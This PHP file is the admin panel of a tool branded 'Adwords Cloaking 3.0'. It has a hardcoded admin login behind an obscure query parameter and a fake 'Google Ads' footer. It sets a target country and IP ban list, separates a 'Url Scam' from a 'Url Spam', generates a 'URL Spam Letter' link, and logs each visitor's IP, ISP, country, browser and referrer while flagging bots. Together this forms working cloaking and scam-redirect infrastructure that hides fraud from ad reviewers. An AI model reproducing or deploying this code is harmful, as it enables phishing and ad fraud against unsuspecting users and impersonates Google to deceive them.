<?php

session_start();
date_default_timezone_set('America/Lima');

require_once('class/class.web.php');

$cp = new AdsJerts();
$ipv = $cp->getClientIP();
$dates = date("d/m/Y g:i a");

$accion = $_GET['web-admin'];

switch($accion) {

	case 'jdh329xdj':
                     // captura el referrer del visitante
	                 if(isset($_SERVER['HTTP_REFERER'])) {
	                 	$ref = $cp->referer($_SERVER["HTTP_REFERER"]); 
	                 } else {
	                 	$ref = "none";
	                 }
	                 // captura el referrer del visitante

                  // session user y pass
	              if( !empty( $_POST['user'] ) && !empty( $_POST['pass'] )){
	              	if( $_POST['user'] == "admin" && $_POST['pass'] == "rjfwtpd7gj" ){
	              		$_SESSION['login'] = true ;
	              		$_SESSION['loginname'] = $_POST['user'];
	              	} else {
	              		$error = '<font color="#AE0000">
							Wrong login, please try again.
						</font>';
					}
				}
				 // session user y pass

				// guarda los datos del web
				if(isset($_POST['modulo']) && $_POST['modulo'] == "senweb"){

					$ss0 = $_POST['dat1'];
					$ss1 = $_POST['dat2'];
					$ss2 = $_POST['dat3'];
					$ss3 = $_POST['dat4'];
					$ss4 = $_POST['dat5'];
					$ss5 = $_POST['dat6'];
					$ss6 = $_POST['dat7'];

					//datos a guardar
					$settings = "$ss0{%}$ss1{%}$ss2{%}$ss3{%}$ss4{%}$ss5{%}$ss6{%}";
					//datos a guardar
					


					$O = @fopen('data/web.pj' , "w+");
					@fwrite($O , $cp->Ofuscar($settings,'EC?F6/X4-F65*5').'|');
					@fclose($O);


					
					echo '<div class="alert alert-success">
										<button type="button" class="close" data-dismiss="alert">×</button>
										<strong>Well done!</strong> Saved settings correctly
									</div>';
				exit();

					}
				// guarda los datos del web
				// guarda los datos del config
				if(isset($_POST['modulo']) && $_POST['modulo'] == "sendata"){

					$ss0 = $_POST['clk1'];
					$ss1 = $_POST['clk2'];
					$ss2 = $_POST['clk3'];
					$ss3 = $_POST['clk4'];


					//datos a guardar
					$settings = "$ss0{%}$ss1{%}$ss2{%}$ss3{%}";
					//datos a guardar
					


					$O = @fopen('data/config.pj' , "w+");
					@fwrite($O , $cp->Ofuscar($settings,'EC?F6/X4-F65*5').'|');
					@fclose($O);


					
					echo '<div class="alert alert-success">
										<button type="button" class="close" data-dismiss="alert">×</button>
										<strong>Well done!</strong> Saved settings correctly
									</div>';
				exit();

					}
				// guarda los datos del config

				// Limpia los datos del visitan o logs de visitas
				if(isset($_POST['modulo']) && $_POST['modulo'] == "clear") {
					

					$O = @fopen('data/ads_logs.pj' , "w+");
				    @fwrite($O , "");
				    @fclose($O);

				    echo '<div class="alert alert-success">
										<button type="button" class="close" data-dismiss="alert">×</button>
										<strong>Well done!</strong> Record deleted
									</div>';
				exit();

				}
				// Limpia los datos del visitan o logs de visitas
				// rompe la session
				if(isset($_POST['modulo']) && $_POST['modulo'] == "session"){
				    @session_start();
                    unset($_SESSION['login']);
                }
                // rompe la session

                if( !$_SESSION['login'] ){

                 $style = '../assets/';

                 $page .= '<!doctype html>' . "\n";
			     $page .= '<html lang="en">' . "\n";
			     $page .= '<head>' . "\n";
			     $page .= '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />' . "\n";
			     $page .= '<meta name="viewport" content="width=device-width, initial-scale=1.0">' . "\n";
			     $page .= '<title>Login - Administrator</title>' . "\n";
			     $page .= '<link type="text/css" href="'.$style.'bootstrap/css/bootstrap.min.css" rel="stylesheet">' . "\n";
			     $page .= '<link type="text/css" href="'.$style.'bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet">' . "\n";
			     $page .= '<link type="text/css" href="'.$style.'css/theme.css" rel="stylesheet">' . "\n";
				 $page .= '<link type="text/css" href="'.$style.'images/icons/css/font-awesome.css" rel="stylesheet">' . "\n";
				 $page .= '<link type="text/css" href=\'http://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,400,600\'
            rel=\'stylesheet\'>' . "\n";
				 $page .= '</head>' . "\n";
				 
				 $page .= '<body>' . "\n";
				 $page .= '<div class="navbar navbar-fixed-top">' . "\n";
                 $page .= '<div class="navbar-inner">' . "\n";
			     $page .= '<div class="container">' . "\n";
				 $page .= '<a class="brand" href="./">Google Ads</a>' . "\n";
                 $page .= '<div class="nav-collapse collapse navbar-inverse-collapse"></div>' . "\n";
			     $page .= '</div>' . "\n";
		         $page .= '</div><!-- /navbar-inner -->' . "\n";
	             $page .= '</div><!-- /navbar -->' . "\n";



	             $page .= '<div class="wrapper">' . "\n";
		         $page .= '<div class="container">' . "\n";
			     $page .= '<div class="row">' . "\n";
				 $page .= '<div class="module module-login span4 offset4">' . "\n";
				 $page .= '<form class="form-vertical" action="" method="post">' . "\n";
				 $page .= '<div class="module-head">' . "\n";
				 $page .= '<h3>Sign In</h3>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '<div class="module-body">' . "\n";
				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<div class="controls row-fluid">' . "\n";
				 $page .= '<input class="span12" type="text" id="user" name="user" placeholder="Username">' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<div class="controls row-fluid">' . "\n";
				 $page .= '<input class="span12" type="password" id="pass" name="pass" placeholder="Password">' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '<div class="module-foot">' . "\n";
				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<div class="controls clearfix">' . "\n";
				 $page .= '	<button type="submit" class="btn btn-primary pull-right">Login</button>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</form>' . "\n";
				 $page .= '</div>' . "\n";
			     $page .= '</div>' . "\n";
		         $page .= '</div>' . "\n";
	             $page .= '</div>' . "\n";

	             $page .= '<div class="footer">' . "\n";
		         $page .= '<div class="container">' . "\n";
			 

			     $page .= '<b class="copyright">&copy; 2014 Google Ads - google.com </b> All rights reserved.</div></div>' . "\n";
	             $page .= '<script src="'.$style.'scripts/jquery-1.9.1.min.js" type="text/javascript"></script>' . "\n";
	             $page .= '<script src="'.$style.'scripts/jquery-ui-1.10.1.custom.min.js" type="text/javascript"></script>' . "\n";
	             $page .= '<script src="'.$style.'bootstrap/js/bootstrap.min.js" type="text/javascript"></script>' . "\n";
                 $page .= '</body>' . "\n";
				 

				 $chek = $cp->getBot();

				 if($chek['isbot'] != "nobot"){
					 
					    $sNbot  = "WebAdmin ->Bot! (".$chek['isbot'].")"; 

					} else {
                        $sNbot  = "WebAdmin Visit -->" .$chek['isCountry']. "";
                        
					}

					$visit = '<tr><td><font size="1" color="#0099CC">' .uniqid(). '</font></td>'.
						'<td><font size="1" color="#0099CC">' .$chek['isIP']. '</font></td>'.
						'<td><font size="1" color="#0099CC">' .$sNbot. '</font></td>'.
						'<td><font size="1" color="#0099CC"> none </font></td>'.
						'<td><font size="1" color="#0099CC">' .$chek['isISP']. ' (' .$chek['isTIPE']. ')</font></td>'.
						'<td><font size="1" color="#0099CC">' .$chek['isCountry'].'</font></td>'.
						'<td><font size="1" color="#0099CC">' .$cp->OsBrow(). '</font></td>'.
						'<td><font size="1" color="#0099CC">' .$ref. '</font></td>'.
						'<td><font size="1" color="#0099CC">' .$dates. '</font></td></tr>';

					$cp->SaveFile('data/ads_logs.pj',$cp->Ofuscar($visit,'EC?F6/X4-F65*5').'|');


				 print $page;
				 exit();

                } else {

                	$config = $cp->OpenFile('data/config.pj');
                	if(!empty(trim($config))){
                		$dconfig = $cp->Desofuscar($config, 'EC?F6/X4-F65*5');
				        $valore = explode("{%}",$dconfig);
                	}
                	$webdata = $cp->OpenFile('data/ips.pj');
                	if(!empty(trim($webdata))){
                		$wconfig = $cp->Desofuscar($webdata, 'EC?F6/X4-F65*5');
				        $webd = explode("{%}",$wconfig);
                	}

				    
				    $style = '../assets/';


				 $page = '<!DOCTYPE html>' . "\n";
                 $page .= '<html lang="en">' . "\n";
                 $page .= '<head>' . "\n";
                 $page .= '<head>' . "\n";
                 $page .= '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />' . "\n";
                 $page .= '<meta name="viewport" content="width=device-width, initial-scale=1.0">' . "\n";
                 $page .= '<title>Dashboard - Config</title>' . "\n";
                 $page .= '<link type="text/css" href="'.$style.'bootstrap/css/bootstrap.min.css" rel="stylesheet">' . "\n";
                 $page .= '<link type="text/css" href="'.$style.'bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet">' . "\n";
                 $page .= '<link type="text/css" href="'.$style.'css/theme.css" rel="stylesheet">' . "\n";
                 $page .= '<link type="text/css" href="'.$style.'images/icons/css/font-awesome.css" rel="stylesheet">' . "\n";
                 $page .= '<link type="text/css" href=\'http://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,400,600\' rel=\'stylesheet\'>' . "\n";
                 $page .= '</head>' . "\n";

				 $page .= '<body>' . "\n";
				 $page .= '<div class="navbar navbar-fixed-top">' . "\n";
				 $page .= '<div class="navbar-inner">' . "\n";
				 $page .= '<div class="container">' . "\n";
				 $page .= '<a class="btn btn-navbar" data-toggle="collapse" data-target=".navbar-inverse-collapse">' . "\n";
				 $page .= '<i class="icon-reorder shaded"></i></a><a class="brand" href="./">Adwords Cloaking 3.0</a>' . "\n";
				 $page .= '<div class="nav-collapse collapse navbar-inverse-collapse">' . "\n";
				 $page .= '<ul class="nav pull-right">' . "\n";
				 $page .= '<li class="nav-user dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown">' . "\n";
				 $page .= '<img src="../assets/img/uzPxPPtr.jpg" class="nav-avatar" />' . "\n";
				 $page .= '<b class="caret"></b></a>' . "\n";
				 $page .= '<ul class="dropdown-menu">' . "\n";
				 $page .= '<li class="divider"></li>' . "\n";
				 $page .= '<li class="nav-header">'.$_SESSION['loginname'].'</li>' . "\n";

				 $page .= '<li><a href="#" onClick="DeadSession();">Logout</a></li>' . "\n";
				 $page .= '</ul>' . "\n";
				 $page .= '</li>' . "\n";
				 $page .= '</ul>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";



				 $page .= '<div class="wrapper">' . "\n";
				 $page .= '<div class="container">' . "\n";
				 $page .= '<div class="row">' . "\n";
				 $page .= '<div class="span3">' . "\n";
				 $page .= '<div class="sidebar">' . "\n";
				 $page .= '<ul class="widget widget-menu unstyled">' . "\n";
				 $page .= '<li class="active"><a href="./"><i class="menu-icon icon-dashboard"></i>Dashboard</a></li>' . "\n";
				 $page .= '<li><a href="#install"><i class="menu-icon icon-bullhorn"></i>Install Spam</a></li>' . "\n";
				 $page .= '<li><a href="#cloak"><i class="menu-icon icon-paste"></i>Cloaking</a></li>' . "\n";
				 $page .= '<li><a href="#tables"><i class="menu-icon icon-tasks"></i>Logs</a></li>' . "\n";
				 $page .= '</ul>' . "\n";
				 $page .= '<ul class="widget widget-menu unstyled">' . "\n";
				 $page .= '<li><a href="#" onClick="DeadSession();"><i class="menu-icon icon-signout"></i>Logout </a></li>' . "\n";
				 $page .= '</ul>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";

				 //<!--/.sidebar-->

				 $page .= '<div class="span9">' . "\n";
				 $page .= '<div class="content">' . "\n";
				 




                // MODULO
				 $page .= '<div class="module">' . "\n";
				 $page .= '<a class="anchor" name="install"></a>' . "\n";
				 $page .= '<div class="module-head">' . "\n";
				 $page .= '<h3>Install Ads</h3>' . "\n";
				 $page .= '</div>' . "\n";

				 $page .= '<div class="module-body">' . "\n";
				 $page .= '<section class="docs">' . "\n";

               if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != 'on') {
					$page .= '<p>URL Spam Letter,</p> <p class="text-error">http://'.$_SERVER['HTTP_HOST'].'/activacion/cuenta-'.$cp->GeraHash(4).'/</p>' . "\n";
					} else {
    				$page .= '<p>URL Spam Letter,</p> <p class="text-success">https://'.$_SERVER['HTTP_HOST'].'/activacion/cuenta-'.$cp->GeraHash(4).'/</p>' . "\n";
					}


				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";

				 $page .= '</div>' . "\n";
				// MODULO





				 // MODULO
				 $page .= '<div class="module">' . "\n";
				 $page .= '<a class="anchor" name="cloak"></a>' . "\n";
				 $page .= '<div class="module-head">' . "\n";
				 $page .= '<h3>Form Cloaking</h3>' . "\n";
				 $page .= '</div>' . "\n";

				 $page .= '<div class="module-body">' . "\n";
				 $page .= '<div id="frm-status" align="center"></div>' . "\n";
				 $page .= '<br />' . "\n";
				 $page .= '<div class="form-horizontal row-fluid">' . "\n";

				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<label class="control-label" for="code">Country Code</label>' . "\n";
				 $page .= '<div class="controls">' . "\n";
				 $page .= '<input type="text" id="code" name="code" placeholder="MX,ES,US" class="span2" maxlength="2" value="'.$valore[0].'" onkeyup="javascript:this.value=this.value.toUpperCase();">' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";


				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<label class="control-label" for="url1">Url Scam</label>' . "\n";
				 $page .= '<div class="controls">' . "\n";
				 $page .= '<input type="text" id="url1" name="url1" placeholder="http://www.domain.com/" class="span8" value="'.$valore[1].'">' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";


				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<label class="control-label" for="url2">Url Spam</label>' . "\n";
				 $page .= '<div class="controls">' . "\n";
				 $page .= '<input type="text" id="url2" name="url2" placeholder="http://www.domain2.com/" class="span8" value="'.$valore[2].'">' . "\n";
				 $page .= '<span class="help-inline">Insert Web Real</span></div>' . "\n";
				 $page .= '</div>' . "\n";
				 
				 
				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<label class="control-label" for="basicinput">Ip BanList</label>' . "\n";
				 $page .= '<div class="controls">' . "\n";
				 $page .= '<textarea class="span8" rows="5" id="iplist" name="iplist">'.$valore[3].'</textarea>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";




				 $page .= '<div class="control-group">' . "\n";
				 $page .= '<div class="controls">' . "\n";
				 $page .= '<button class="btn" onClick="SaveConfig();">Save Cloak</button>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";


				 $page .= '</div>' . "\n";

				 $page .= '</div>' . "\n";

				 $page .= '</div>' . "\n";
				// MODULO


				 $visitante = $cp->OpenFile('data/ads_logs.pj');
		         $logos = explode('|',$visitante);

		         if(empty(trim($visitante))){

		         	$tables = '';
		         } else {

		         	 foreach($logos as $log){
			            $tables .= $cp->Desofuscar($log, 'EC?F6/X4-F65*5');
			        } 
		         }


		        // MODULO

				 $page .= '<div class="module">' . "\n";
				 $page .= '<a class="anchor" name="tables"></a>' . "\n";
				 $page .= '<div class="module-head">' . "\n";
				 $page .= '<h3>Full registration of computer visitors, robots and humans</h3>' . "\n";
				 $page .= '</div>' . "\n";

				 $page .= '<div class="module-body">' . "\n";
				 $page .= '<div id="clear-status"></div>' . "\n";
				 $page .= '<p><a class="btn" onClick="ClearLogs();">Delete Logs</a></p>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '<div class="module-body table">' . "\n";

				 $page .= '<table cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped	 display" width="100%" id="list-log">' . "\n";
				 $page .= '<thead>' . "\n";
				 $page .= '<tr>' . "\n";
				 $page .= '<th>Date hour</th>' . "\n";
				 $page .= '<th>IP</th>' . "\n";
				 $page .= '<th>Type</th>' . "\n";
				 $page .= '<th>{keyword}</th>' . "\n";
				 $page .= '<th>ISP</th>' . "\n";
				 $page .= '<th>Country</th>' . "\n";
				 $page .= '<th>Os / Browser</th>' . "\n";
				 $page .= '<th>Referer</th>' . "\n";
				 $page .= '<th>Id</th>' . "\n";
				 $page .= '</tr>' . "\n";
				 $page .= '</thead>' . "\n";
				 $page .= '<tbody id="logss">' . "\n";
				 $page .= ''.$tables.'' . "\n";
				 $page .= '</tbody>' . "\n";
				 $page .= '<tfoot>' . "\n";
				 $page .= '<tr>' . "\n";
				 $page .= '<th>Date hour</th>' . "\n";
				 $page .= '<th>IP</th>' . "\n";
				 $page .= '<th>Type</th>' . "\n";
				 $page .= '<th>{keyword}</th>' . "\n";
				 $page .= '<th>ISP</th>' . "\n";
				 $page .= '<th>Country</th>' . "\n";
				 $page .= '<th>Os / Browser</th>' . "\n";
				 $page .= '<th>Referer</th>' . "\n";
				 $page .= '<th>Id</th>' . "\n";
				 $page .= '</tr>' . "\n";
				 $page .= '</tfoot>' . "\n";
				 $page .= '</table>' . "\n";

				 $page .= '</div>' . "\n";

				 $page .= '</div>' . "\n";
				// MODULO








				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";
				 $page .= '</div>' . "\n";



				 $rdk = array("netwo".$cp->GeraHash(4)."={network}", 
				              "match".$cp->GeraHash(4)."={matchtype}", 
							  "tipes".$cp->GeraHash(4)."={device}", 
							  "adpos".$cp->GeraHash(4)."={adposition}", 
							  "creat".$cp->GeraHash(3)."={creative}"
							  );
                 $rdps = array_rand($rdk, 5);

				


			     // footer
			     $page .= '<div class="footer">
            <div class="container">
                <b class="copyright">&copy; 2014 Google Ads - google.com </b>All rights reserved.
            </div>
        </div>
        <script src="'.$style.'scripts/jquery-1.9.1.min.js" type="text/javascript"></script>
        <script src="'.$style.'scripts/jquery-ui-1.10.1.custom.min.js" type="text/javascript"></script>
        <script src="'.$style.'bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
        <script src="'.$style.'scripts/datatables/jquery.dataTables.js" type="text/javascript"></script>
        <script src="'.$style.'js/funciones.js" type="text/javascript"></script>
      
    </body>' . "\n";
				 $page .= '</html>' . "\n";
				 // footer


				 print $page;



                }
	break;
}
?>